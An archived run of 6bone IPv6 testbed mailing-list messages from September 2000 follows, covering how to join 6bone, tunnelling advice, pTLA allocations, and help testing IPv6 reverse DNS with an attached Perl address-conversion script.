1.	I use windows 2000 and Linux 6.2 be my end-point connection to 6
bone

2.	For the software, I am not quite sure what your meaning. I use IE to
connect to the internet, Sometimes FTP.......... Any different?? 

3.	Connecting to the 6bone, I thing I should have a IPV6 address. How
can I get it? 
			Or I should get a Traditional Ipv4 address first,
then convert it to IPV6 

4.	My location is Hong Kong, However, I know none of ISP in Hong Kong
supporting IPV6 now.  Is this a problem?. I have a windows2000 PC at home ,
with a cisco router 1401 and its password, connecting to a ISP by Leased
Line With Real IPV4. So I want to use this windows 2000 PC connecting to my
office Linux 6.2 by ipv6 address. 

5.	What is the function of 6bone?


Thank you very much.

Keith Tang 


	----------
	From:  Keith Tang (HTHK - Engineer II, NW3G) [SMTP:KEITHT@hthk.com]
	Sent:  Saturday, September 23, 2000 9:13 AM
	To:  '6bone@isi.edu'
	Subject:  FW: ipv6 testing

	HI:
	 	I try to ask the people how to join the 6Bone group, however
none of
	them  can give me instructions. I read over the 6bone hookup Info,
but I
	still not sure what is the first step to do. Could you give me some
idea of
	it?


	Regards, 
	Keith Tang  

	----------
	From:  Neil Levine [SMTP:levine@uk.clara.net]
	<mailto:[SMTP:levine@uk.clara.net]> 
	Sent:  Friday, September 22, 2000 10:19 PM
	To:  Keith Tang (HTHK - Engineer II, NW3G)
	Subject:  Re: ipv6 testing

	On Fri, Sep 22, 2000 at 06:11:31PM +0800, Keith Tang (HTHK -
Engineer II,
	NW3G) said:
		> I reach your site by searching How to setup Ipv6 from
6bone. I
	hope you can
		> give me some idea how to start this project. What kinds of
	hardware do I
		> need? What should I prepare for ?
		> I really want to join the team as you. Looking forward to
hear
	from you.

	I am just one of many ISPs who are on the 6Bone. For general
information you
	should read http://www.6bone.net/6bone_hookup.html
	<http://www.6bone.net/6bone_hookup.html>  and then contact your
nearest
	upstream who can allocate you some IPv^ 6bone address space.
	Neil

	-- 

	------------------------ |o| <o> |o| -------------------------------
	Neil Levine                             ClaraNet Ltd
	levine@uk.clara.net <mailto:levine@uk.clara.net>
	http://www.clara.net <http://www.clara.net> 
	--------------------------------------------------------------------

From 6bone-owner  Sun Sep 24 22:48:38 2000
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From: Jason Bogin <jason@jax-inc.com>
To: "'Keith Tang (HTHK - Engineer II, NW3G) '" <KEITHT@hthk.com>,
        "''6bone@isi.edu' '" <6bone@ISI.EDU>
Subject: RE: ipv6 testing
Date: Mon, 25 Sep 2000 01:48:22 -0400
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Hi,
In regard to connecting yourself to the office...

You need an IPv4 to IPv6 gateway connection.  On your Cisco router, you will
create a virtual interface with an IPv6 address.  The router will
encapsulate the IPv6 data into IPv4 packets to a direct gateway into the
6bone.  At the gateway, the IPv4 packet will be stripped off and you should
be on the 6bone from there.

I did research on IPv6 in December for the University of North Florida.  The
project was to connect their network to the 6bone.  I accomplished this by
using the IPv4 Internet to the Sprintlink IPv6 gateway in Virginia.  A Cisco
2501 router was used to tunnel although, your router will suffice.

Here's the Cisco router configuration:
http://www.jax-inc.com/IPv6/Cisco2511-IPv6.txt

I hope this helps out...

Thanks, 
Jason S. Bogin
VP of Network Services
PremiumCHAT.com
jbogin@premiumchat.com






-----Original Message-----
From: Keith Tang (HTHK - Engineer II, NW3G)
To: '6bone@isi.edu'; Keith Tang (HTHK - Engineer II, NW3G)
Sent: 9/24/00 9:44 PM
Subject: RE: ipv6 testing


Hi :
	Thank you for replying my Email. 
1.	I use windows 2000 and Linux 6.2 be my end-point connection to 6
bone

2.	For the software, I am not quite sure what your meaning. I use
IE to
connect to the internet, Sometimes FTP.......... Any different?? 

3.	Connecting to the 6bone, I thing I should have a IPV6 address.
How
can I get it? 
			Or I should get a Traditional Ipv4 address
first,
then convert it to IPV6 

4.	My location is Hong Kong, However, I know none of ISP in Hong
Kong
supporting IPV6 now.  Is this a problem?. I have a windows2000 PC at
home ,
with a cisco router 1401 and its password, connecting to a ISP by Leased
Line With Real IPV4. So I want to use this windows 2000 PC connecting to
my
office Linux 6.2 by ipv6 address. 

5.	What is the function of 6bone?


Thank you very much.

Keith Tang 


	----------
	From:  Keith Tang (HTHK - Engineer II, NW3G)
[SMTP:KEITHT@hthk.com]
	Sent:  Saturday, September 23, 2000 9:13 AM
	To:  '6bone@isi.edu'
	Subject:  FW: ipv6 testing

	HI:
	 	I try to ask the people how to join the 6Bone group,
however
none of
	them  can give me instructions. I read over the 6bone hookup
Info,
but I
	still not sure what is the first step to do. Could you give me
some
idea of
	it?


	Regards, 
	Keith Tang  

	----------
	From:  Neil Levine [SMTP:levine@uk.clara.net]
	<mailto:[SMTP:levine@uk.clara.net]> 
	Sent:  Friday, September 22, 2000 10:19 PM
	To:  Keith Tang (HTHK - Engineer II, NW3G)
	Subject:  Re: ipv6 testing

	On Fri, Sep 22, 2000 at 06:11:31PM +0800, Keith Tang (HTHK -
Engineer II,
	NW3G) said:
		> I reach your site by searching How to setup Ipv6 from
6bone. I
	hope you can
		> give me some idea how to start this project. What
kinds of
	hardware do I
		> need? What should I prepare for ?
		> I really want to join the team as you. Looking forward
to
hear
	from you.

	I am just one of many ISPs who are on the 6Bone. For general
information you
	should read http://www.6bone.net/6bone_hookup.html
	<http://www.6bone.net/6bone_hookup.html>  and then contact your
nearest
	upstream who can allocate you some IPv^ 6bone address space.
	Neil

	-- 

	------------------------ |o| <o> |o|
-------------------------------
	Neil Levine                             ClaraNet Ltd
	levine@uk.clara.net <mailto:levine@uk.clara.net>
	http://www.clara.net <http://www.clara.net> 
	
--------------------------------------------------------------------

From 6bone-owner  Sun Sep 24 23:50:44 2000
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From: "Keith Tang (HTHK - Engineer II, NW3G)" <KEITHT@hthk.com>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: IPV6 address 
Date: Mon, 25 Sep 2000 14:42:07 +0800
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Hi 
My location is in Hong Kong. I know none of ISP in Hong Kong supporting IPV6
now.  Is this a problem to connect to 6 bone?. I have a windows2000 PC at
home , with a cisco router 1401 and, connecting to a ISP by Leased Line With
Real IPV4. So I want to use this windows 2000 PC to connect to my office
Linux 6.2 by ipv6 address, Could you tell me where I can get IPV6 address ?

Regards,
Keith Tang




From 6bone-owner  Mon Sep 25 02:27:34 2000
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To: "Keith Tang (HTHK - Engineer II, NW3G)" <KEITHT@hthk.com>
cc: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: Re: IPV6 address 
In-Reply-To: <C36362694EDCD2119D8D00805FEA666A0428E361@NTEXG13>
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Look at http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/DEVA.html

ipv6-site

DEVA
          origin
                      AS4058 LINKAGENET
          descr
                      Deva.net
          descr
                      Tsuen Wan, Hong Kong
          country
                      HK - HONG KONG  
          prefix
                      3FFE:C00:8008::/48 
                      Aggregatable Global Unicast Address
                      TLA-ID: 0x1ffe, Sub-TLA: 0x180 6Bone
                      6BONE:CISCO:DEVA: 
          application
                      ping 6bone-router.deva.net
          application
                      ping ipv6.deva.net
          application
                      ftp ftp://ipv6.deva.net
          tunnels
                          type
                                           source

dest

dest site

dest prefix

protocol

comment
                      IPv6 in IPv4
                                        203.85.103.1
                                   6bone-router.deva.net

192.31.7.104

eng-ios-dirtylab-gw.cisco.com

CISCO
                                                                                                   

3FFE:C00::/24

STATIC
                                                                                                                                  
                      IPv6 in IPv4
                                        203.85.103.1
                                   6bone-router.deva.net

203.72.242.20

NCU-TW
                                                                                                   

3FFE:3600:5::/48

STATIC
                                                                                                                                  

          contact
                      AKH18
                                                         Operational since
December 2, 1997.
                                                        Willing to add new
tunnels upon request.
          mnt-by
                      DEVA-NOC
          changed
                      avatar@deva.net 19th September 1998



From 6bone-owner  Mon Sep 25 02:44:05 2000
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Date: Sun, 24 Sep 2000 23:44:01 -1000
From: Brian Russo <brusso@phys.hawaii.edu>
To: "Keith Tang (HTHK - Engineer II, NW3G)" <KEITHT@hthk.com>
Cc: 6bone@ISI.EDU
Subject: Re: ipv6 testing
Message-ID: <20000924234401.B24063@uhhepr.phys.hawaii.edu>
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On Mon, Sep 25, 2000 at 09:44:32AM +0800, Keith Tang (HTHK - Engineer II, NW3G) wrote:
> 
> Hi :
> 	Thank you for replying my Email. 
> 1.	I use windows 2000 and Linux 6.2 be my end-point connection to 6
> bone
> 
> 2.	For the software, I am not quite sure what your meaning. I use IE to
> connect to the internet, Sometimes FTP.......... Any different?? 
> 
> 3.	Connecting to the 6bone, I thing I should have a IPV6 address. How
> can I get it? 
> 			Or I should get a Traditional Ipv4 address first,
> then convert it to IPV6 
> 
> 4.	My location is Hong Kong, However, I know none of ISP in Hong Kong
> supporting IPV6 now.  Is this a problem?. I have a windows2000 PC at home ,
> with a cisco router 1401 and its password, connecting to a ISP by Leased
> Line With Real IPV4. So I want to use this windows 2000 PC connecting to my
> office Linux 6.2 by ipv6 address. 

I take it by "Linux 6.2" you mean RHS Linux 6.2
Linux kernels 2.2.x and 2.4.x (still unreleased, but quite useable)
support IP6 (enable experimental options when you're confing the kernel prior
to build)

Microsoft Research has an experimental IP6 implementation
http://research.microsoft.com/msripv6/

As far as hooking up to the 6bone, http://6bone.net/6bone_hookup.html
is something you should probably read.
That and asking the friendly people on this list :)

> 
> 5.	What is the function of 6bone?

The 6bone is an operational ip6 testbed. 
basically to work out the kinks, and get people used to ip6 before major
deployment.
For more info check http://6bone.net

> 
> 
> Thank you very much.
> 
> Keith Tang 
> 
> 
 - brian.
-- 
+-----------------------------------------------------------+
| Brian Russo   <brusso@phys.hawaii.edu>   (808) 957 2333
| Unix Staff: University of Hawaii High Energy Physics Group
+ Assume a spherical cow of uniform density. 

From 6bone-owner  Mon Sep 25 10:28:27 2000
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Message-ID: <39CF8C94.A5165AD1@mitre.org>
Date: Mon, 25 Sep 2000 13:34:12 -0400
From: Kristin Malick <kmalick@mitre.org>
Organization: The MITRE Corporation
X-Mailer: Mozilla 4.73 [en]C-20000509M  (Win95; U)
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To: 6bone@ISI.EDU
Subject: Request for ANSNET info
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This is a multi-part message in MIME format.
--------------9D825BCB8176469696C41484
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello All,

I have determined that the pTLA ANSNET is topologically the best for my
site, but when I tried to contact ANSNET using the info at
http://whois.6bone.net/cgi-bin/whois?ansnet, both emails bounced back
and the phone number is no longer connected.  Does anyone have current
contact information for ANSNET?  All other sites I tested have
relatively greater delays.

Thanks,
Kristin
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email;internet:kmalick@mitre.org
title:Communications Engineer
note;quoted-printable:Telephone: 732.427.2452=0D=0A=0D=0AVoicemail: 732.544.6404
fn:Kristin Malick
end:vcard

--------------9D825BCB8176469696C41484--



From 6bone-owner  Mon Sep 25 16:47:35 2000
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Date: Mon, 25 Sep 2000 13:47:30 -1000
From: Brian Russo <brusso@phys.hawaii.edu>
To: Kristin Malick <kmalick@mitre.org>
Cc: 6bone@ISI.EDU
Subject: Re: Request for ANSNET info
Message-ID: <20000925134730.C7499@uhhepi.phys.hawaii.edu>
References: <39CF8C94.A5165AD1@mitre.org>
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On Mon, Sep 25, 2000 at 01:34:12PM -0400, Kristin Malick wrote:
> Hello All,
> 
> I have determined that the pTLA ANSNET is topologically the best for my
> site, but when I tried to contact ANSNET using the info at
> http://whois.6bone.net/cgi-bin/whois?ansnet, both emails bounced back
> and the phone number is no longer connected.  Does anyone have current
> contact information for ANSNET?  All other sites I tested have
> relatively greater delays.
> 
> Thanks,
> Kristin

ANSNET is now owned by MCI WorldCom.
Their networks never completely merged.. but I suggest you contact UUNET IPv6
Operations..
http://whois.6bone.net/cgi-bin/whois?uunet

good luck..
 - brian.
-- 
+-----------------------------------------------------------+
| Brian Russo   <brusso@phys.hawaii.edu>   (808) 957 2333
| Unix Staff: University of Hawaii High Energy Physics Group
+ Assume a spherical cow of uniform density. 

From 6bone-owner  Tue Sep 26 07:05:36 2000
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Date: Tue, 26 Sep 2000 07:04:59 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:80C0::/28 allocated to STEALTH
Cc: Bill Manning <bmanning@ISI.EDU>, Shrihari Pandit <spandit@stealth.net>
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STEALTH has been allocated pTLA 3FFE:80C0::/28 having finished its 2-week 
review period with no negative comments.

<http://whois.6bone.net/cgi-bin/whois?stealth>

Note that it will take a short while for their inet6num object to show up 
as they have to create it.

However, their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>


Thanks,

Bob


From 6bone-owner  Tue Sep 26 16:59:49 2000
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Date: Tue, 26 Sep 2000 18:59:44 -0500 (CDT)
From: Jonathan Guthrie <jguthrie@brokersys.com>
To: 6bone@ISI.EDU
Subject: What is the best way to test IPv6 DNS
Message-ID: <Pine.LNX.4.05.10009261849580.12513-100000@weck.brokersys.com>
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I've nearly finished my initial IPv6 setup.  In fact, just about the only
thing left is the Forward and Reverse-DNS.  The forward seems to work okay
(at least www.ipv6.brokersys.com resolves to the correct address and a
browser that goes there loads Debian's default web content, which is
what's there) but I'm kind of puzzled about how to test the reverse DNS.

With IPv4, I'd use nslookup, but I can't seem to make nslookup do anything
useful with IPv6 addresses.  Can someone give me a hint?
-- 
Jonathan Guthrie (jguthrie@brokersys.com)
Brokersys  +281-580-3358   http://www.brokersys.com/
12703 Veterans Memorial #106, Houston, TX  77014, USA


From 6bone-owner  Tue Sep 26 17:55:12 2000
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From: ksb <ksbn@kt.co.kr>
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Organization: Korea Telecom
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CC: 6BONE List <6bone@ISI.EDU>, Bill Manning <bmanning@ISI.EDU>,
        Shrihari Pandit <spandit@stealth.net>
Subject: 6TAP
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<HTML>
<HEAD><TITLE> Message </TITLE></HEAD>
<BODY>
<PRE>
Dear  Bob Fink

How are you?

My company (Korea Telecom) operates KOREN
(KOrea Research and Experimental Network).
My company URL is :
http://www.koreatelecom.com/

KOREN is based on ATM technology for OSI layer 2.
Korea Telecom has the IPv6 sTLA.
(APNIC: [KIX-KR]  2001:220::/35)

KOREN IPv6 network is constructed using the native
ATM method.

What kind of procedures are needed for KOREN NOC?
(to connect with 6TAP)

Best Regards

Sahng-Beom Kim
Member of Technical Staff
(IPv6 researcher)


--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8279
  E-mail :  ksbn@kt.co.kr
--



</PRE></BODY>
</HTML>

From 6bone-owner  Tue Sep 26 19:26:42 2000
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Date: Tue, 26 Sep 2000 22:43:55 -0400
From: John Comeau <jcomeau@dialtoneinternet.net>
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Finally figured out the problem - when I edited the specfile, I added
--with-inet6 in the COMMENTS ONLY, not in the actual options. Duh. Now that I
have good RPMs, they are available, at least for now, from
http://ipv6.dialtoneinternet.net. If any of you already on the 6bone can reach
the site at http://3ffe:b00:c18:1fff::2bd, its temporary address, I'd like to
know about it. Thanks!

John Comeau wrote:
> 
> I've been following the IPV6 Howto, or at least I think I have, and I can't
> seem to get past this roadblock. I've got xinetd set up with all the services,
> such as finger, daytime, echo, etc, and don't see any listening on IPV6
> addresses. And I get connection refused on all inet6 ports. 'tail
> /var/log/messages' doesn't show any reason why.
> 
> I'm probably doing something very stupid... flame away, but try and squeeze
> some useful tips in too 8^) - jc
> 
> [root@cto jc]# telnet ::1 echo
> Trying ::1...
> telnet: connect to address ::1: Connection
> refused
-- 
John Comeau - Chief Technology Officer 
Dialtone Internet - Extremely Fast Web Systems 
954-581-0097x113  fax://954-581-7629 
jcomeau@dialtoneinternet.net
http://www.dialtoneinternet.net
"We are a Responsible Internet Provider - see http://risp.org"

From 6bone-owner  Tue Sep 26 20:10:12 2000
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To: Jonathan Guthrie <jguthrie@brokersys.com>
CC: 6bone@ISI.EDU
Subject: Re: What is the best way to test IPv6 DNS
References: <Pine.LNX.4.05.10009261849580.12513-100000@weck.brokersys.com>
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This is a multi-part message in MIME format.
--------------8D1E1E780BDCCC68510FBD52
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Jonathan Guthrie wrote:
> 
> I've nearly finished my initial IPv6 setup.  In fact, just about the only
> thing left is the Forward and Reverse-DNS.  The forward seems to work okay
> (at least www.ipv6.brokersys.com resolves to the correct address and a
> browser that goes there loads Debian's default web content, which is
> what's there) but I'm kind of puzzled about how to test the reverse DNS.
> 
> With IPv4, I'd use nslookup, but I can't seem to make nslookup do anything
> useful with IPv6 addresses.  Can someone give me a hint?
Attached is a simple perl script that will help.  The top of the file
documents it.

Jim
-- 
In God we Trust -- all others must submit an X.509 certificate.
    -- Charles Forsythe <forsythe@alum.mit.edu>
--------------8D1E1E780BDCCC68510FBD52
Content-Type: text/plain; charset=us-ascii;
 name="ip6int"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="ip6int"

#!/usr/bin/perl -w
#
#       Convert valid IPv6 address to ip6.int PTR value.  Convert valid
#       IPv4 address to in-addr.arpa PTR value.  Anything not valid is
#       simply printed as is.  Handles :: notation and embedded IPv4
#       addresses.  If the address is followed by /n, the PTR is
#       truncated to n bits.
#
#      If n is negative, the host part of the address is printed instead.
#      This is useful for generating zone files.
#
#       Examples:
#               nslookup -type=any `ip6_int 3ffe::203.34.97.6` looks up
# 6.0.1.6.2.2.b.c.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.e.f.f.3.ip6.int
#               nslookup -type=any `ip6_int fe80::b432:e6ff/10` looks up
# 2.e.f.ip6.int
#               nslookup -type=any `ip6_int ::127.0.0.1` looks up
# 1.0.0.0.0.0.f.7.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.int
#               nslookup -type=any `ip6_int 127.0.0.1` looks up
# 1.0.0.127.in-addr.arpa
#               nslookup -type=any `ip6_int 127.0.0.1/8` looks up
# 127.in-addr.arpa
#
#       Copyright 1997 Keith Owens <kaos@ocs.com.au>.  GPL.
#      Negative /n added by Magnus Ahltorp <map@stacken.kth.se> 1998-06-06.
#

require 5;
use strict;
use integer;

my $v6;

if ($#ARGV >= 0 &&
    ($v6 = ($ARGV[0] =~ m;^([0-9a-fA-f:]+)(?::(\d+\.\d+\.\d+\.\d+))?(?:/(-)?(\d+))?$;))
     || $ARGV[0] =~ m;^(\d+\.\d+\.\d+\.\d+)(?:/(-)?(\d+))?$;) {
	my $valid = 1;
	if ($v6) {
		my (@chunk) = split(/:/, $1, 99);
		my $negative = defined($3);
		my $mask = $4;
		if ($2) {
			my (@v4) = split(/\./, $2);
			$valid = ($v4[0] <= 255 && $v4[1] <= 255 &&
				  $v4[2] <= 255 && $v4[3] <= 255);
			if ($valid) {
				push(@chunk, sprintf("%x%02x", $v4[0], $v4[1]));
				push(@chunk, sprintf("%x%02x", $v4[2], $v4[3]));
			}
		}
		my $pattern = "";
		if ($valid) {
			foreach (@chunk) {
				$pattern .= /^$/ ? 'b' : 'c';
			}
			if ($pattern =~ /^bbc+$/) {
				@chunk = (0, 0, @chunk[2..$#chunk]);
				@chunk = (0, @chunk) while ($#chunk < 7);
			}
			elsif ($pattern =~ /^c+bb$/) {
				@chunk = (@chunk[0..$#chunk-2], 0, 0);
				push(@chunk, 0) while ($#chunk < 7);
			}
			elsif ($pattern =~ /^c+bc+$/) {
				my @left;
				push(@left, shift(@chunk)) while ($chunk[0] ne "");
				shift(@chunk);
				push(@left, 0);
				push(@left, 0) while (($#left + $#chunk) < 6);
				@chunk = (@left, @chunk);
			}
			$valid = $#chunk == 7;
		}
		my $ip6int = "ip6.int";
		my $i;
		if ($valid) {
			foreach (@chunk) {
				$i = hex($_);
				if ($i > 65535) {
					$valid = 0;
				}
				else {
					$ip6int = sprintf("%x.%x.%x.%x.",
							  ($i) & 0xf,
							  ($i >> 4) & 0xf,
							  ($i >> 8) & 0xf,
							  ($i >> 12) & 0xf)
						  . $ip6int;
				}
			}
		}
		if ($valid && defined($mask)) {
			$valid = ($mask =~ /^\d+$/ && $mask <= 128);
			if ($valid) {
				if ($negative) {
					$ip6int = substr($ip6int, 0, int((128-$mask+3)/4)*2-1);
				} else {
					$ip6int = substr($ip6int, int((128-$mask)/4)*2);
			}
				if ($mask &= 3) {
					if ($negative) {
						$i = hex(substr($ip6int, -1, 1));
						$i &= (15 >> $mask);
						substr($ip6int, -1, 1) = sprintf("%x", $i);
					} else {
						$i = hex(substr($ip6int, 0, 1));
						$i >>= (4-$mask);
						substr($ip6int, 0, 1) = sprintf("%x", $i);
					}
				}
			}
		}
		$ARGV[0] = $ip6int if ($valid);
	}
	else {
		# v4
		my (@v4) = split(/\./, $1);
		my $negative = defined($2);
		my $mask = $3;
		$valid = ($v4[0] <= 255 && $v4[1] <= 255 &&
			  $v4[2] <= 255 && $v4[3] <= 255);
		my $v4 = hex(sprintf("%02X%02X%02X%02X", @v4));
		if ($valid && defined($mask)) {
			$valid = ($mask =~ /^\d+$/ && $mask <= 32);
			if ($valid) {
				if ($negative) {
					no integer;	# unsigned shift please
					$v4 = $v4 & ((~0) >> $mask);
					use integer;	# back to normal
				} else {
					$v4 = $v4 & ((~0) << (32-$mask));
				}
				$v4[0] = ($v4 >> 24) & 255;
				$v4[1] = ($v4 >> 16) & 255;
				$v4[2] = ($v4 >> 8) & 255;
				$v4[3] = $v4 & 255;
			}
		}
		else {
			$mask = 32;
		}
		if ($valid) {
			if ($negative) {
				my $i = 4 - int((32-$mask+7) / 8);
				shift(@v4) while ($i--);
				$ARGV[0] = join('.', reverse(@v4));
			} else {
				my $i = 4 - int(($mask+7) / 8);
				pop(@v4) while ($i--);
				$ARGV[0] = join('.', reverse(@v4));
				$ARGV[0] .= '.' if ($ARGV[0] ne "");
				$ARGV[0] .= 'in-addr.arpa';
			}
		}
	}
}
print "@ARGV\n";

--------------8D1E1E780BDCCC68510FBD52--


From 6bone-owner  Tue Sep 26 21:35:07 2000
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Date: Tue, 26 Sep 2000 18:34:53 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: John Comeau <jcomeau@dialtoneinternet.net>
cc: 6bone@ISI.EDU
Subject: Re: stuck for a week at netstat -A inet6 -an
In-Reply-To: <39D15EEB.A2C53A43@dialtoneinternet.net>
Message-ID: <Pine.BSI.4.10.10009261833460.27248-100000@malasada.lava.net>
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On Tue, 26 Sep 2000, John Comeau wrote:

> Finally figured out the problem - when I edited the specfile, I added
> --with-inet6 in the COMMENTS ONLY, not in the actual options. Duh. Now that I
> have good RPMs, they are available, at least for now, from
> http://ipv6.dialtoneinternet.net. If any of you already on the 6bone can reach
> the site at http://3ffe:b00:c18:1fff::2bd, its temporary address, I'd like to
> know about it. Thanks!

We can traceroute to it from here:

$ traceroute6 3ffe:b00:c18:1fff::2bd
traceroute to 3ffe:b00:c18:1fff::2bd (3ffe:b00:c18:1fff::2bd) from
3ffe:2900:d:a::2, 30 hops max, 16 byte packets
 1  3ffe:2900:d:a::1 (3ffe:2900:d:a::1)  135.137 ms *  140.942 ms
 2  3ffe:b00:c18::e (3ffe:b00:c18::e)  177.132 ms  178.156 ms  180.479 ms
 3  www.6bone.net (3ffe:b00:c18:1::10)  177.809 ms  179.93 ms  180.013 ms
 4  jojo.de.freenet6.net (3ffe:b00:c18:1fff::2bd)  234.651 ms  240.834 ms
242.378 ms


From 6bone-owner  Wed Sep 27 02:16:27 2000
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From: Andrius Kasparavicius <andrius@andrius.org>
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 hello six'ers

 maybe you know, why AIX 4.3 doesn't reply to my traceroute6?
# tracepath zemrsn.edu.eu.org
 1?: [LOCALHOST]      pmtu 1500
 1:  195.22.177.70     60ms 
 2?: 194.176.60.202   reached
     Resume: pmtu 1500 hops 2 back 2 

# tracepath6 zemrsn.edu.eu.org
 1?: [LOCALHOST]                      pmtu 1480
 1:  3ffe:b00:c18::3b                  70ms 
 2:  no reply
 3:  no reply..and so on..

# ping -c 1 zemrsn.edu.eu.org
PING zemrsn.edu.eu.org (194.176.60.202) from 195.22.177.68 : 56 data bytes
64 bytes from 194.176.60.202: icmp_seq=0 ttl=254 time=17.5 ms

--- zemrsn.edu.eu.org ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 17.5/17.5/17.5 ms

# ping6 -c 1 zemrsn.edu.eu.org
PING zemrsn.edu.eu.org(zemrsn.edu.eu.org) 56 data bytes
64 bytes from zemrsn.edu.eu.org: icmp_seq=0 time=25.7 ms

--- zemrsn.edu.eu.org ping6 statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 25.7/25.7/25.7 ms

 maybe AIX doesn't reply to inet6 traceroute, because 4.3 version still
can't forward inet6 address family packets?
 
                                              -------------------------
                                                Kasparavicius Andrius
________________________________________________________________________
http://www.andrius.org  ICQ:17701001  tel.: +370 87 25630 nick: Casper
AND-RIPE AND-6BONE



From 6bone-owner  Thu Sep 28 01:31:56 2000
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From: "Kontogianni Vicky" <kontogia@cti.gr>
To: <6bone@ISI.EDU>
Subject: Web server s/w for Solaris 2.8
Date: Thu, 28 Sep 2000 11:31:30 +0300
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Hello,

do you know what is the available ipv6 Web server software for Solaris 2.8?
Does the Apache server, included in the distribution, support ipv6??

Thanks in advance for the responses,

Vicky Kontogianni
Network Technologies Sector
Computer Technology Institute
Patras - GREECE

Tel. +30 61  960377
e-mail: kontogia@cti.gr


From 6bone-owner  Thu Sep 28 10:30:27 2000
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Date: Thu, 28 Sep 2000 10:31:37 -0700
From: "Bradley W. McNamara" <BMcNamara@zama.net>
Organization: ZAMA Networks, Inc.
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Vicky,

The Apache server included with Solaris 8 does not support IPv6.  You can get
Apache 1.3.12, and a patch for it from ftp://ftp.kame.net/pub/kame.misc/, to
enable IPv6.  If you want, I have a source distribution with the patch already
applied to the source code at http://www.zama6.net, or,
http://203.142.143.10.  Also, I have a pre-built Solaris 8 binary package that
you can  apply to your system.  This package was built using GNU gcc and has
been tested on IPv6.  There are other applications for download on this
server, and more will be added as I find them and install/test them on IPv6.
Let me know if you have anything to add to the applications.

Brad McNamara
ZAMA Networks

Kontogianni Vicky wrote:

> Hello,
>
> do you know what is the available ipv6 Web server software for Solaris 2.8?
> Does the Apache server, included in the distribution, support ipv6??
>
> Thanks in advance for the responses,
>
> Vicky Kontogianni
> Network Technologies Sector
> Computer Technology Institute
> Patras - GREECE
>
> Tel. +30 61  960377
> e-mail: kontogia@cti.gr


From 6bone-owner  Thu Sep 28 13:59:33 2000
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Date: Thu, 28 Sep 2000 22:59:18 +0200 (MET DST)
From: Xavier Mertens <xavier@euro.net>
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To: 6bone@ISI.EDU
Subject: tcp_wrapper
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Hi *,

I'm looking for a IPv6 tcp_wrapper. Any archive or package? (Linux & Solaris)

X

--
Xavier Mertens      &Wanadoo Belgium  "Contrary to popular belief, Unix is
NOC Manager         a subsidiary of   userfriendly. It just happens to be
XM1-6BONE XM3-RIPE  France Telecom    selective about who it makes friens with"


From 6bone-owner  Thu Sep 28 18:05:25 2000
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Xavier,

You can find the IPv6 tcp_wrapper source code at
ftp://ftp/porcupine.org/pub/ipv6/tcp_wrappers_7.6-ipv6.1.tar.gz, or, you can
download it at http://www.zama6.net, also.  There is a Solaris package of it at
http://www.zama6.net, also.

Brad McNamara
ZAMA Networks

Xavier Mertens wrote:

> Hi *,
>
> I'm looking for a IPv6 tcp_wrapper. Any archive or package? (Linux & Solaris)
>
> X
>
> --
> Xavier Mertens      &Wanadoo Belgium  "Contrary to popular belief, Unix is
> NOC Manager         a subsidiary of   userfriendly. It just happens to be
> XM1-6BONE XM3-RIPE  France Telecom    selective about who it makes friens with"


From 6bone-owner  Fri Sep 29 06:06:33 2000
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From: Mauricio =?iso-8859-1?Q?Hern=E1ndez=20Garc=EDa?= 
	<maurik@servidor.unam.mx>
Organization: DGSCA, UNAM
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> I'm looking for a IPv6 tcp_wrapper. Any archive or package? (Linux & Solaris)

There is a version of tcp wrappers for IPv6
ftp://ftp.porcupine.org/pub/security/index.html


-- 
			Mauricio Hernandez Garcia
			Prospeccion e Innovacion Tecnologica
			Direccion General de Computo Academico, UNAM
			5622-8316

From 6bone-owner  Fri Sep 29 08:08:51 2000
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Date: Fri, 29 Sep 2000 07:51:11 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: MIMOS-MY pTLA Request 
Cc: ipv6-support@mimos.my, Raja Azlina Raja Mahmood <ina@mimos.my>
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MIMOS-MY requests a pTLA (see their request below).

The comment period will close on 16 October. Comments to me or the list.


Thanks,

Bob


>Date: Fri, 29 Sep 2000 15:28:09 +0800 (MYT)
>From: Raja Azlina Raja Mahmood <ina@mimos.my>
>To: fink@es.net
>cc: ipv6-support@mimos.my
>Subject: MIMOS-MY, pTLA Request
>
>
>Hi Bob,
>
>This is Azlina from MIMOS, Malaysia requesting for the pTLA status
>from 6bone.   We hope we do  meet the 6bone's requirements (refer
>below).   Please inform us if we miss anything.  Thank you.
>
>regards,
>~azlina
>_______________________________________
>Guidelines for 6Bone pTLA sites
>
>
>1.      The pTLA Applicant must have a minimum of three (3) months
>         qualifying experience as a 6Bone end-site or pNLA transit.
>         During the entire qualifying period the Applicant must be
>         operationally providing the following:
>  ANSWER: We have been connected to the 6bone since july 4th 2000.
>
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          IPv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>ANSWER: We do maintain an up-to-date 6bone registry with the following
>entries: IPv6-site(mimos-my), mntner(mnt-mimos.my),inet6num
>(2001:208:110::/44), nic-handle(rarm1-6bone) and all tunnels that
>we have.
>
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>ANSWER: We maintain bgp4+ peering with singAREN(Singapore), dti(Japan) and
>Viagenie(Canada).  Do visit this site:
>"http://www.cs-ipv6.lancs.ac.uk/ipv6/6bone/whois/bycountry.html#my" for
